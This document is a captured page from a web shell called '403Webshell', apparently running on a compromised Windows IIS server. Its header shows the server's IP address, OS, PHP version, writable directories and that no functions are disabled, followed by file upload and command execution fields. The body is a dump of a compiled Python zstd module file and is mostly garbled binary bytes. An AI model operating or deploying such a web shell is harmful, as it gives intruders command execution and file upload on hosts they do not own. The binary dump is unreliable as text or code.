403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.220
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/compression/zstd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/compression/zstd/__pycache__/_zstdfile.cpython-315.opt-1.pyc
R
>lqj�1c
��]PHs]QHGs]QHGsGsGs]QHGsQs	]s
]s]sQs
QQ\O2sQQPQPQ	PQ
PQPQP-Q
kksP!)�)�PathLike)�ZstdCompressor�ZstdDecompressor�ZSTD_DStreamOutSize)�_streams�ZstdFilec���[U[[12%c[U2![	U29^tt^2oUO
ttPPP2!)%fhP!9h�N)�
isinstance�bytes�	bytearray�len�
memoryview�nbytes)�dat�mvs" �/C:\Python315\\Lib\compression\zstd\_zstdfile.py�_nbytesr
s;���#��y�)�*�*��3�x��	�C���B��y�y�
����s�A�A$	�A$	c�0`�\sQs]snQs\Os\OsQQPQPQP-QkksQs	Qs
\1QksQQ	ksQQ
ks
QsQsQQ
ks\O$1QksQQksQsQsQs\Q2s\Q2s\Q2sQsQsQsQsUs P!)raDA file-like object providing transparent Zstandard (de)compression.

A ZstdFile can act as a wrapper for an existing file object, or refer
directly to a named file on disk.

ZstdFile provides a *binary* file interface. Data is read and returned as
bytes, and may only be written to objects that support the Buffer Protocol.
�level�options�	zstd_dictc���PUmP
Um[UmPUm[U[2%f[Q2gUd"[U[2%f[Q2gUOQ2oUQ6XcUd[Q2g[UmL`UQ
7cKUd"[U[2%f[Q2g[Um[V4UQ5Um]UmL[QU802g[U[["[$12%c'[&O(VQ02UmP	UmLDUQ6Xc[+UQ	2%fUQ6wc[+UQ
2%cVmL[Q2gUO[6XcF[,O.UO[0UUQ5o[&O2U2UmP!P!)a�Open a Zstandard compressed file in binary mode.

*file* can be either a file-like object, or a file name to open.

*mode* can be 'r' for reading (default), 'w' for (over)writing, 'x'
for creating exclusively, or 'a' for appending.  These can
equivalently be given as 'rb', 'wb', 'xb' and 'ab' respectively.

*level* is an optional int specifying the compression level to use,
or COMPRESSION_LEVEL_DEFAULT if not given.

*options* is an optional dict for advanced compression parameters.
See CompressionParameter and DecompressionParameter for the possible
options.

*zstd_dict* is an optional ZstdDict object, a pre-trained Zstandard
dictionary. See train_dict() to train ZstdDict on sample data.
zmode must be a strzoptions must be a dict or None�b�rzlevel is illegal in read modezlevel must be int or None�rrr�Invalid mode: �read�writezCfile must be a file-like object or a str, bytes, or PathLike object)rr>�a�w�x)�_fp�	_close_fp�_MODE_CLOSED�_mode�_bufferr
�str�
ValueError�dict�	TypeError�removesuffix�
_MODE_READ�int�_MODE_WRITEr�_compressor�_posrr�io�open�hasattrr�DecompressReaderr�BufferedReader)�self�file�moderrr�raws""&$$$ r�__init__�ZstdFile.__init__!s���(������!��
�����$��$�$��1�2�2���z�'�4�'@�'@��<�=�=�� � ��%���3�;�� �� ?�@�@�#�D�J�
�_�
$�� ��E�3�)?�)?�� ;�<�<�$�D�J�-�E�8A� C�D���D�I��~�d�X�6�7�7��d�S�%��2�3�3��w�w�t�v�Q�Z�0�D�H�!�D�N��s�{�w�t�V�4�4��C�K�G�D�'�$:�$:��H��B�C�
C��:�:��#��+�+���� �#��	�C��,�,�S�1�D�L�$�c��UOeP!UO[6Xc6[UQP2%c"UOO2PUmL7UO[6Xc#UOUO2PUm	[UmUO%cUOO2PUmP
UmP!PSmP
Smh9h[SmSO%cSOO2PSmP
SmhPSmP
Smh9h9h)z�Flush and close the file.

May be called multiple times. Once the file has been closed,
any other operation on it will raise ValueError.
r&)r"r%r,�getattrr&�closer.�flush�FLUSH_FRAMEr/r$r#�r6s&rr?�ZstdFile.close`s����8�8���	'��z�z�Z�'��4��D�1�1��L�L�&�&�(�#'�D�L�����{�*��
�
�4�+�+�,�#'�� �%�D�J�
'��>�>�>��H�H�N�N�$����!&���� ���!&����
&�D�J�
'��>�>�>��H�H�N�N�$����!&���� ���!&���sK�C/�C/�6C/�2"C/� C�2C�C,�/E
�<D7�D7�(E
�7E�E
c���UO2[U2oUOOU2oUOOU2U9OU*
tmU!)aWrite a bytes-like object *data* to the file.

Returns the number of uncompressed bytes written, which is
always the length of data in bytes. Note that due to buffering,
the file on disk may not reflect the data written until .flush()
or .close() is called.
)�_check_can_writerr/�compressr"rr0)r6�data�length�
compresseds""  rr�ZstdFile.writeysR��	
���������%�%�.�.�t�4�
������z�"��	�	�V��	��
r<c��UO[6XcP!UO2VOUO.7c[Q2gUOOU6XcP!UOOU2oUOOU2[UOQ2%cUOO2P!P!)a_Flush remaining data to the underlying stream.

The mode argument can be FLUSH_BLOCK or FLUSH_FRAME. Abuse of this
method will reduce compression ratio, use it only when necessary.

If the program is interrupted afterwards, all data can be recovered.
To ensure saving to disk, also need to use os.fsync(fd).

This method does nothing in reading mode.
zSInvalid mode argument, expected either ZstdFile.FLUSH_FRAME or ZstdFile.FLUSH_BLOCKr@)r%r,�_check_not_closed�FLUSH_BLOCKrAr(r/�	last_moder@r"rr3)r6r8rGs&& rr@�ZstdFile.flush�s����:�:��#����� ��(�(�$�*:�*:�;�;��4�5�
5����%�%��-�����%�%�d�+�������t���4�8�8�W�%�%��H�H�N�N��&r<c�f�UePoUO2UOOU2!)z�Read up to size uncompressed bytes from the file.

If size is negative or omitted, read until EOF is reached.
Returns b'' if the file is already at EOF.
)�_check_can_readr&r�r6�sizes&&rr�
ZstdFile.read�s/���<��D������|�|� � ��&�&r<c�t�UO2U]6c[oUOOU2!)z�Read up to size uncompressed bytes, while trying to avoid
making multiple reads from the underlying stream. Reads up to a
buffer's worth of data if size is negative.

Returns b'' if the file is at EOF.
)rQrr&�read1rRs&&rrV�ZstdFile.read1�s3��	
�����!�8�'�D��|�|�!�!�$�'�'r<c�Z�UO2UOOU2!)zBRead bytes into b.

Returns the number of bytes read (0 for EOF).
)rQr&�readinto�r6rs&&rrY�ZstdFile.readinto�s%��
	
�����|�|�$�$�Q�'�'r<c�Z�UO2UOOU2!)z�Read bytes into b, while trying to avoid making multiple reads
from the underlying stream.

Returns the number of bytes read (0 for EOF).
)rQr&�	readinto1rZs&&rr]�ZstdFile.readinto1�s%��	
�����|�|�%�%�a�(�(r<c�Z�UO2UOOU2!)z�Read a line of uncompressed bytes from the file.

The terminating newline (if present) is retained. If size is
non-negative, no more than size bytes will be read (in which
case the line may be incomplete). Returns b'' if already at EOF.
)rQr&�readlinerRs&&rr`�ZstdFile.readline�s%��	
�����|�|�$�$�T�*�*r<c�Z�UO2UOOV2!)a�Change the file position.

The new position is specified by offset, relative to the
position indicated by whence. Possible values for whence are:

    0: start of stream (default): offset must not be negative
    1: current stream position
    2: end of stream; offset must not be positive

Returns the new file position.

Note that seeking is emulated, so depending on the arguments,
this operation may be extremely slow.
)rQr&�seek)r6�offset�whences&&&rrc�
ZstdFile.seek�s'��	
�����|�|� � ��0�0r<c�Z�UO2UOOU2!)z�Return buffered data without advancing the file position.

Always returns at least one byte of data, unless at EOF.
The exact number of bytes returned is unspecified.
)rQr&�peekrRs&&rrh�
ZstdFile.peek�s%��	
�����|�|� � ��&�&r<c�x�UO2UOO29o%cU![gr	)rQr&r`�
StopIteration)r6�rets& r�__next__�ZstdFile.__next__�s1�������,�,�'�'�)�)�3�)��J��r<c���UO2UO[6XcUOO	2!UO[
6Xc
UO!P!)z!Return the current file position.)rLr%r,r&�tellr.r0rBs&rrp�
ZstdFile.tell�sH����� ��:�:��#��<�<�$�$�&�&�
�Z�Z�;�
&��9�9��'r<c�X�UO2UOO2!)z3Return the file descriptor for the underlying file.)rLr"�filenorBs&rrs�ZstdFile.filenos����� ��x�x��� � r<c�P�UO2UOO!r	)rLr"�namerBs&rrv�
ZstdFile.names����� ��x�x�}�}�r<c�6�UO[6XcQ!Q!)�wb�rb)r%r.rBs&rr8�
ZstdFile.modes���z�z�[�0�t�:�d�:r<c�*�UO[6H!)zTrue if this file is closed.)r%r$rBs&r�closed�ZstdFile.closeds���z�z�\�)�)r<c�h�UO29%cUOO2!)z)Return whether the file supports seeking.)�readabler&�seekablerBs&rr��ZstdFile.seekables#���}�}��:�:�4�<�<�#8�#8�#:�:r<c�J�UO2UO[6H!)z/Return whether the file was opened for reading.)rLr%r,rBs&rr��ZstdFile.readables����� ��z�z�Z�'�'r<c�J�UO2UO[6H!)z/Return whether the file was opened for writing.)rLr%r.rBs&r�writable�ZstdFile.writable"s����� ��z�z�[�(�(r<)r&r#r/r"r%r0)r)���)!�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrMrAr:r?rr@rrVrYr]r`r1�SEEK_SETrcrhrmrprs�propertyrvr8r}r�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rrrs������!�,�,�K� �,�,�K�=2��=2�%)�=2�59�=2�~'�2�"%��4	'�
(�(�)�+�#%�+�+�1�(	'���!�
�����;��;��*��*�;�(�
)�)r<rrr�encoding�errors�newlinec�(�QU7oUOQP2oU%cQU7c[QU802gL-Ud[Q2gUd[Q2gUd[Q2g[VV#UQ5o	U%c[OV�Vg2!U	!)a�Open a Zstandard compressed file in binary or text mode.

file can be either a file name (given as a str, bytes, or PathLike
object), in which case the named file is opened, or it can be
an existing file object to read from or write to.

The mode parameter can be 'r', 'rb' (default), 'w', 'wb', 'x', 'xb',
'a', 'ab' for binary mode, or 'rt', 'wt', 'xt', 'at' for text mode.

The level, options, and zstd_dict parameters specify the settings the
same as ZstdFile.

When using read mode (decompression), the options parameter is a dict
representing advanced decompression options.  The level parameter is not
supported in this case.  When using write mode (compression), only one
of level, an int representing the compression level, or options, a dict
representing advanced compression options, may be passed.  In both
modes, zstd_dict is a ZstdDict instance containing a trained Zstandard
dictionary.

For binary mode, this function is equivalent to the ZstdFile
constructor: ZstdFile(filename, mode, ...).  In this case, the encoding,
errors and newline parameters must not be provided.

For text mode, an ZstdFile object is created, and wrapped in an
io.TextIOWrapper instance with the specified encoding, error handling
behavior, and line ending(s).
�trrz0Argument "encoding" not supported in binary modez.Argument "errors" not supported in binary modez/Argument "newline" not supported in binary moder)�replacer(rr1�
TextIOWrapper)
r7r8rrrr�r�r��	text_mode�binary_files
"&$$$$$$  rr2r2(s���>�t��I��<�<��R� �D���$�;��~�d�X�6�7�7�����O�P�P����M�N�N����N�O�O��4�U�%.�0�K������v�G�G��r<)rr2)rz)r1�osr�_zstdrrr�compression._commonr�__all__r$r,r.r�
BaseStreamrr2�r<r�<module>r�st��	��G�G�(�
����
�
����Q)�x�"�"�Q)�h3�d�3�D�3�D�3��3�#�3�-1�3r<

Youez - 2016 - github.com/yon3zu
LinuXploit